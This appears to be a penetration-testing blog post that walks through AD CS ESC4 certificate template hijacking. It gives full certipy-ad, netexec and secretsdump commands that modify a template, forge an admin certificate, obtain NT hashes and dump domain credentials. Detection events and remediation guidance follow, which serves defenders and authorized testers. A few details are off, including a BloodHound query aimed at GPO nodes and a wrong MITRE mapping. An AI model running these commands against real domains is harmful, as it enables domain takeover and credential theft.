Post

Breaking In With Paper: Abusing AD CS ESC4 - Template Hijacking

A practical walkthrough of AD CS ESC4 (certificate template hijacking) - how overpermissive template ACLs allow low-privileged users forge authentication certificates and escalate to Domain Admin without cracking a single password, including safe testing methodology, detection events, and remediation guidence.

Breaking In With Paper: Abusing AD CS ESC4 - Template Hijacking

Legal & ethical reminder: Only perform the techniques below with explicit written authorization or in a lab. This post is for defensive education and professional testing. Not for abuse.

TL;DR

Active Directory Certificate Services (AD CS) can be misconfigured so that low-privileged users can modify a certificate template and mint an authentication-capable certificate for another identity. That abuse path known as ESC4, lets an attacker authenticate as a more-privileged account (often up to domain admin) without cracking passwords. We use Certipy (specifically the certipy-ad fork) to discover and exploit ESC4, then validated impact with NetExec and Impacket’s secretsdump in a controlled, authorized environment.


What’s ESC4 in Plain English?

  • AD CS issues certificates for users and computers. Certificate templates define who can request what kind of certs and how those certs are constructed.
  • In ESC4, a template’s ACLs are too permissive (e.g., a normal user can write or change the template object itself).
  • Once you can change a template, you can tweak it so an enrollee can supply the UPN/SAN and the certificate includes Client Authentication / Smartcard Logon EKUs. That means you can request a cert that claims to be a privileged user, and AD will accept it for logon via PKINIT.

Why defenders care: It’s passwordless privilege escalation via the org’s own PKI.


Attack Flow (High-Level)

  1. Discover certificate authorities & templates; identify a template where your current user has write-like rights.
  2. Adjust the template to allow enrollee-supplied subject/SAN and ensure Client Authentication EKU is present.
  3. Request a certificate for a target UPN (e.g., an administrative account).
  4. Authenticate to AD with the new certificate (PKINIT) and obtain usable credentials/tickets.
  5. Validate impact safely (e.g., demonstrate file-level control or directory replication ability) and stop.
  6. Restore the template to its original configuration before wrapping up.

We use certipy-ad for steps 1–4, then NetExec to verify administrative share access and Impacket’s secretsdump to prove directory replication rights.


Tooling We Used (and Why)

ToolPurpose
certipy-adEnumerates AD CS; inspects, modifies, and restores templates; requests and authenticates with certs
NetExecLightweight validation of ADMIN$ access without destructive actions
Impacket (secretsdump)Proof of domain impact via DCSync, scoped tightly
BloodHound CEGraph-based discovery of ESC4-reachable templates via ACL edge traversal

Preconditions (what makes ESC4 exploitable)

You need a certificate template object where a low-privileged principal (your foothold account) holds one of the following dangerous ACEs:

ACEEffect
Owner / WriteOwnerTake or reassign ownership of the template object
WriteDACLRewrite the template’s ACL, grant yourself any right
WriteProperty / GenericWriteDirectly modify template attributes (flags, EKUs, etc.)
GenericAllFull control, all of the above

WriteDACL vs WriteProperty: These lead to slightly different attack paths. WriteDACL means you modify the ACL first to grant yourself WriteProperty, then alter the template. WriteProperty (or GenericWrite) lets you modify template attributes directly. Both end in the same place; detections and LDAP activity differ subtly.

With any of the above you can modify the template to:

  • Enable enrollee-supplied subject / SAN (UPN)
  • Ensure Client Authentication / Smartcard Logon EKUs are present
  • Remove any manager approval requirement

Attack Walkthrough

Replace placeholders throughout: DOM, dom.local, user, Passw0rd!, 10.0.0.10 (DC IP), CA01.dom.local, VulnTemplate, targetadmin@dom.local, DOM-LOCAL-CA01

Discovery (find vulnerable templates)

With Certipy

1
2
3
# Enumerate CA + templates and flag known abuses

certipy-ad find -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -vulnerable -stdout

Review output for ESC4 entries. Under Object Control Permissions, look for your principal (or a group it belongs to) holding one of the dangerous ACEs listed above.

With BloodHound CE

BloodHound CE with ADCS support surfaces ESC4-reachable templates as graph edges. After ingesting with SharpHound or the BloodHound Python collector, query for:

1
2
3
4
5
6
MATCH p=shortestPath(
  (u:User {name: "USER@DOM.LOCAL"})-[r*1..]->(t:GPO)
)
WHERE ANY(rel IN relationships(p)
  WHERE type(rel) IN ["WriteOwner","WriteDACL","GenericAll","GenericWrite","WriteProperty"])
RETURN p

More usefully, use the built-in “Find Principals with DCSync Rights” and “Shortest Paths to Domain Admins” queries and look for ADCS-related nodes or search for the template object directly and inspect its inbound edges. BloodHound makes it easy to see multi-hop paths where a low-priv user has WriteDACL → template → Enroll → DA.


Step 1 — Inspect the Template

1
2
# View current template settings before touching anything
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -view

Confirm the EKUs, subject flags, and enrollment permissions before proceeding. Know exactly what you’re changing.

Step 2 - Modify the Template

1
2
3
4
5
# certipy-ad automatically saves original settings to VulnTemplate.json before making changes.
# Verify that file exists on disk before proceeding — if your session drops after this step
# but before cleanup, that JSON is your only way to restore the template cleanly.

certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -write-default-configuration

⚠️ Before you run this: confirm VulnTemplate.json was written. If you get disconnected between this step and cleanup, the template stays in its modified (vulnerable) state. That’s an incident. Keep the JSON somewhere safe and note the time of modification for your report.

Step 3 — Request a Certificate for the Target Account

1
2
3
4
5
6
7
# Request a certificate impersonating a privileged account
# -target  : FQDN of the CA host
# -ca      : CA name (from discovery output)
# -upn     : target account UPN
# -sid     : target account SID (required for strong mapping / newer patch levels)

certipy-ad req -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -target 'CA01.dom.local' -ca 'DOM-LOCAL-CA01' -template 'VulnTemplate' -upn 'targetadmin@dom.local' -sid 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'

Output: targetadmin.pfx

Step 4 — Authenticate with the Certificate (PKINIT)

1
certipy-ad auth -pfx 'targetadmin.pfx' -dc-ip 10.0.0.10

Expected output:

1
2
3
4
5
6
7
8
9
10
11
[*] Certificate identities:
[*]     SAN UPN: 'targetadmin@dom.local'
[*]     SAN URL SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*]     Security Extention SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Using principal: 'targetdomain@dom.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'targetadmin.ccache'
[*] Wrote credential cache to 'targetadmin.ccache'
[*] Trying to retrieve NT hash for 'targetadmin'
[*] Got hash for 'targetadmin@dom.local': LM_hash:NT_hash

Note the NT hash and ccache path.

Step 5 — Prove DC File-Level Control (ADMIN$)

1
2
3
4
5
# List shares
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --shares

# Canary file write. Minimally invasive proof of ADMIN$ write
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --put-file ./sigh.txt 'C$\Windows\Temp\_sigh.txt'

Prefer a file write over remote code execution for initial impact proof. It’s less disruptive and still clearly demonstrates control.

Step 6 — DCSync / Hash Dump (Scoped)

1
2
3
4
5
# DCSync, scoped to domain controllers only
impacket-secretsdump -just-dc DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>

# Or full dump (SAM/LSA/AD) depending on privileges:
impacket-secretsdump DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>

Capture DA hashes and a minimal sample to prove impact. Avoid bulk dumps unless your scope explicitly requires it.

Step 7 — Cleanup ⚠️ Don’t Skip This

1
2
# Restore the template from the backup certipy-ad saved automatically
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -write-configuration 'VulnTemplate.json' -no-save

After restoring the template, complete the following before closing out:

  • Revoke the issued test certificate(s) and publish updated CRLs/OCSP.
  • Delete any canary files from the DC (e.g., C:\Windows\Temp\_sigh.txt).
  • Securely wipe PFX, ccache, and hash files from tester systems.
  • Document the exact modification time and restore time in your notes — this matters for the client’s log review.

OPSEC Notes

  • Throttle actions — template changes and certificate issuance generate clear, auditable events. Make the minimum changes needed and revert them promptly.
  • Minimise data — prefer a small file write over broad data grabs. If demonstrating DCSync, capture just enough to prove impact.
  • Coordinate with the SOC — if the engagement involves a blue team, give them a heads-up on timing so they can correlate events without treating it as a live incident.
  • The cleanup is the riskiest part — more goes wrong during template restoration than during exploitation. Don’t rush it.

Detection & Telemetry

Share this with your clients. These are the signals that would catch ESC4 abuse.

Windows Security Log — CA / AD CS

Event IDMeaning
4886Certificate request submitted
4887Certificate issued
4899Certificate template modified — this is the smoking gun for ESC4

4899 logged immediately after your certipy-ad template ... -write-default-configuration command. If SACL auditing is enabled on the template object in AD, you’ll also see object access events.

Windows Security Log — Domain Controllers

Event IDMeaning
4768Kerberos TGT request — PKINIT requests have distinctive PreAuthType: 16 or 17
4769Kerberos service ticket request

Look for certificate-based authentication from non-smartcard users or from hosts that don’t normally use PKINIT.

SIEM Correlation

A high-confidence ESC4 detection rule looks like:

4899 (template modified) → 4887 (cert issued for unusual UPN) → 4768 (PKINIT TGT) → lateral movement/DCSync, all from the same source host within a short window.


Remediation Guidance

1. Fix Template Ownership & ACLs

  • Set Owner to a Tier-0 group (e.g., Domain Admins or a dedicated PKI Admins group).
  • Remove WriteOwner, WriteDACL, WriteProperty, GenericWrite, and GenericAll from any non-Tier-0 principal.
  • Audit with PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Find templates with dangerous ACEs granted to non-admin principals
Import-Module ActiveDirectory
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dom,DC=local" `
  -Filter {objectClass -eq "pKICertificateTemplate"} -Properties nTSecurityDescriptor

foreach ($t in $templates) {
    $acl = $t.nTSecurityDescriptor
    foreach ($ace in $acl.Access) {
        if ($ace.ActiveDirectoryRights -match "WriteProperty|WriteDACL|WriteOwner|GenericAll|GenericWrite") {
            if ($ace.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM") {
                Write-Output "$($t.Name)$($ace.IdentityReference)$($ace.ActiveDirectoryRights)"
            }
        }
    }
}

2. Harden Template Settings

  • Disable enrollee-supplied subject/SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) unless there’s a clear business need.
  • Remove Client Authentication and Smartcard Logon EKUs from templates not intended for user auth.
  • Enable CA certificate manager approval (CT_FLAG_PEND_ALL_REQUESTS) on sensitive templates.

3. Restrict Enrollment

  • Scope Enroll and AutoEnroll permissions to the smallest necessary security groups, not Domain Users or Authenticated Users.

4. Monitor Continuously

  • Alert on Event ID 4899. This should be rare in production; any occurrence warrants investigation.
  • Correlate 4886/4887 against expected enrollment patterns.
  • Watch for anomalous PKINIT (4768 with cert-based pre-auth) from non-smartcard endpoints.
  • Periodically review issued certificates via certutil -view or the CA MMC.

5. Post-Incident Hygiene

  • Revoke affected certificates and publish updated CRLs/OCSP.
  • Reset or rotate impacted privileged accounts.
  • Review the CA’s issued cert list for any certificates you didn’t authorise.

Common Pitfalls & Gotchas

  • Permission confusion: Rights on the CA object are not the same as rights on the template object. ESC4 is a template ACL issue; don’t confuse it with ESC7 (CA-level ACLs).
  • Half-configured templates: If EKUs or subject flags aren’t set correctly after modification, the cert won’t authenticate. Double-check with certipy-ad template ... -view after modifying.
  • PKINIT failures: Usually caused by time skew (keep clocks aligned), DC selection (use -dc-ip explicitly), or realm casing. Also check that the DC has a KDC certificate and that PKINIT is not disabled via GPO.
  • -sid flag required on patched environments: Post-KB5014754, strong certificate mapping is enforced on newer patch levels. Always include -sid in your req command.
  • ADMIN$ write blocked: You may have a cert for a user without local admin on that specific DC. Validate group membership for the target account first.
  • Cleanup fails due to stale session: If your Certipy session times out or you get disconnected, use the saved JSON backup manually. If you lost the JSON, use certipy-ad template ... -view to inspect the current (modified) state and revert attributes manually via LDAP or the CA MMC.

MITRE ATT&CK Mapping

TechniqueDescription
T1558.003Steal or Forge Kerberos Tickets: Kerberoasting — cert-based Kerberos abuse
T1550.003Use Alternate Authentication Material: Pass the Certificate
T1484.001Domain Policy Modification: Group Policy Modification (template ACL change is analogous)
T1003.006OS Credential Dumping: DCSync
T1078Valid Accounts — post-cert authentication as a privileged identity

Final Thoughts

AD CS is powerful infrastructure and that’s exactly why misconfigurations like ESC4 are so dangerous. A single overly permissive ACE on a certificate template is all it takes to go from a low-privileged foothold to domain admin without touching a password.

For pentesters, ESC4 is a high-signal finding that lands well in executive reports: you modified the PKI, issued yourself a DA certificate, and dumped the domain. No passwords involved. For defenders, the fix is straightforward: tighten template ACLs, remove risky settings, restrict enrollment, and alert on 4899. If your organisation relies on certificates for user or service auth, put AD CS ACL audits on your regular security calendar they take an hour and close a domain-wide attack path.

This post is licensed under CC BY 4.0 by the author.